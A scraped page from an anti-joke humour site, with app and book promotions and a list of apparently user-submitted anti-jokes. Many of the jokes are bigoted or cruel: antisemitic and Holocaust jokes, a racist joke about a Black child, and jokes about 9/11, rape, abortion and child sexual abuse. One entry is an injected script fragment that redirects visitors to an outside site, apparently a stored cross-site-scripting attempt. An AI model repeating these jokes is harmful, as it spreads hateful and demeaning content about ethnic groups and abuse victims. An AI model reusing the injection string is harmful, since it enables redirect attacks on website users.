- Anti Joke

What are Antijokes? Anti Jokes (or Anti Humor) is a type of comedy in which the uses is set up to expect a typical joke setup however the joke ends with such anticlimax that it becomes funny in its own right. The lack of punchline is the punchline.

We've just released huge update to the iOS app! Now, access all your favorite text and photo sites like Anti-Joke, DIYLOL! A few things didn't make the original cut (like comments) but they'll be back soon. Best of all, the app is now FREE! Get it here.

NEW ANTI-JOKE BOOK! Now that we've resolved the printing issues with our publisher, check out the BRAND SPANKING NEW Anti-Joke Book!

Want more? You might be interested in...

Anti-Joke Chicken

Anti-Joke Triceratops

An elephant and a hippopotamus were taking a bath. The elephant said to the hippo, " Please pass the soap." The hippo replied, "No soap, radio."

why was the kid laying in the middle of the baseball field? he was shot in the face then mauled by a bear.

Roses are red, violets are blue, my name is cartman, kyle you're a jew

How many babies can you breast feed? 2

Two strawberries are sitting in a bathtub. One says to the other, "Can you pass the soap?" The other one says, "What do I look like, a typewriter?!"

How do you spell orange? O-R-A-N-G-E-U-D-U-M-B-A-S-S

Comes a giraffe on a scooter to the hospital and asks: 'can I have some flour?'.

Why did they bury the fireman at the side of the hill? Because he was dead

class is canceled. My professor died.

Why did the chicken cross the road? Because chickens have 2 legs

George W. Bush

Why did Stephen hawking walk into A bar? He didn't. This situation is impossible considering the fact that he suffers from a horrible condition causing terrible muscular paralysis preventing him from walking.

what kind of pizzas did the twin tower executives order on 9-11? two large "planes"

An Irish man walks into a bar. The bartender looks at him and notices he has a steering wheel stuck down the front of his pants. "Hey," he says, "What's with the steering wheel down your pants?" The Irish man looks down at it, dumbfounded. "I have absolutely no idea," he says, and removes it.

-"Hey! You guys wanna hear a joke" -"What?" -"Womens Rights"

What did the Jew say to the German? Yes I would like fries with that.

"'>document.location.href="http://cramik.org"

Jerry Sandusky and two other men are on a cruise ship, when it suddenly starts to sink. The first man says, "save the children!" The second man says, "screw the children!" Jerry Sandusky drowned.

Roses are red, Violets are blue, I was raped when i was little.

How do you know to start calling a fetus a baby? If it cries when you abort it.

how did the man with the gun die? obesity

Why didn't the black boy get any presents from Santa? Because he isn't real.

Knock Knock, Who's there? Banana. Banana who? The Holocaust.

Weegee weegee weegee weegee weegee weegee weegee weegee weegee weegee weegee

Anti Joke

Our Updated iOS App!

The Anti Joke Book

MOAR??